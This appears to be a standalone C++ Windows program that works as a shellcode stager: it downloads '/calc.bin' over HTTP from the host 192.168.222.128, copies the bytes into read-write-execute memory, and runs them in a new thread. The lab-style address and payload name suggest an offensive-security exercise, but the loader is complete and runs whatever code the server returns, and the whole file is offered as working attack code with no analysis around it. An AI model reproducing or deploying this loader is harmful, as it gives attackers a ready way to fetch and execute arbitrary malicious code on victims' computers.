#include <Windows.h>
#include <cstdio>
#include <cstdlib>
#include <string>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
DWORD WINAPI ThreadFunc(LPVOID lpParam);
int main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
PBYTE pszOutBuffer;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, L"192.168.222.128",
80, 0);
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/calc.bin",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);
// Keep checking for data until there is nothing left.
if (!bResults)
{
return -1;
}
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable.\n",
GetLastError());
pszOutBuffer = (PBYTE)malloc(dwSize);
// Allocate space for the buffer.
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
// Read the data.
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.\n", GetLastError());
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
PVOID buffer = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(buffer, pszOutBuffer, dwSize);
HANDLE hThread = CreateThread(0, 0, ThreadFunc, buffer, 0, 0);
if (!hThread)
return -1;
WaitForSingleObject(hThread, -1);
return 0;
}
DWORD WINAPI ThreadFunc(LPVOID lpParam) {
typedef VOID(WINAPI* fnShellcodefunc)();
fnShellcodefunc pShell = (fnShellcodefunc)lpParam;
pShell();
return 1;
}